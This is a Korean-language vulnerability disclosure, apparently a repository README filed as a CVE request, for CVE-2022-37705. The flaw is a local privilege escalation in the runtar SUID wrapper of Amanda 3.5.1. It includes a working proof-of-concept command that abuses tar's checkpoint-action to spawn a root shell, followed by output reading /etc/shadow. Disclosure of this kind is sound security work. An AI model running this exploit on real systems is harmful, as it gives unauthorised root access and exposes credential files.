maherazzouzi/cve-2022-37705Amanda 3.5.1 두 번째 LPE.
[제안된 설명] Amanda 3.5.1에서 백업 사용자를 루트 권한으로 승격시킬 수 있는 권한 상승 결함이 발견되었습니다. 취약한 구성 요소는 runtar SUID로, 공격자가 제어할 수 있는 특정 인수로 /usr/bin/tar를 실행하는 래퍼일 뿐입니다. 이 프로그램은 tar 바이너리에 전달된 인수를 올바르게 검사하지 않습니다 (모든 인수가 --ARG VALUE 형식일 것이라고 가정하지만 --ARG=VALUE를 하나의 인수로 제공할 수 있습니다).
[추가 정보] 이 결함은 코드 실행, 서비스 거부, 권한 상승 및 정보 공개에 악용될 수 있습니다. 이것은 이를 악용하여 루트 셸을 얻기 위한 PoC입니다: backup@maher:/lib/amanda$ id uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
backup@maher:/lib/amanda$ head /etc/shadow head: cannot open '/etc/shadow' for reading: Permission denied
backup@maher:/lib/amanda$ ./runtar NOCONFIG tar --create --file=/dev/null --checkpoint=1 --directory=. --checkpoint-action=exec=/bin/sh /dev/null tar: Removing leading `/' from member names
head /etc/shadow
root:!:19132:0:99999:7::: daemon::19101:0:99999:7::: bin::19101:0:99999:7::: sys::19101:0:99999:7::: sync::19101:0:99999:7::: games::19101:0:99999:7::: man::19101:0:99999:7::: lp::19101:0:99999:7::: mail::19101:0:99999:7::: news:*:19101:0:99999:7:::
[취약점 유형 기타] 잘못된 인수 검사.
[제품 공급업체] Amanda
[영향을 받는 제품 코드 베이스] runtar - 3.5.1
[영향을 받는 구성 요소] 영향을 받는 SUID 바이너리: runtar 영향을 받는 파일: runtar.c 영향을 받는 코드 라인은 162행에서 시작됩니다.
[공격 유형] 로컬
[영향 코드 실행] true
[영향 서비스 거부] true
[영향 권한 상승] true
[영향 정보 공개] true
[공격 벡터] 바이너리를 악용하려면 runtar SUID 바이너리에 조작된 인수를 전달하여 루트로 권한을 상승시키기만 하면 됩니다.
[발견자] Maher Azzouzi
CVE-2022-37705를 사용하십시오.
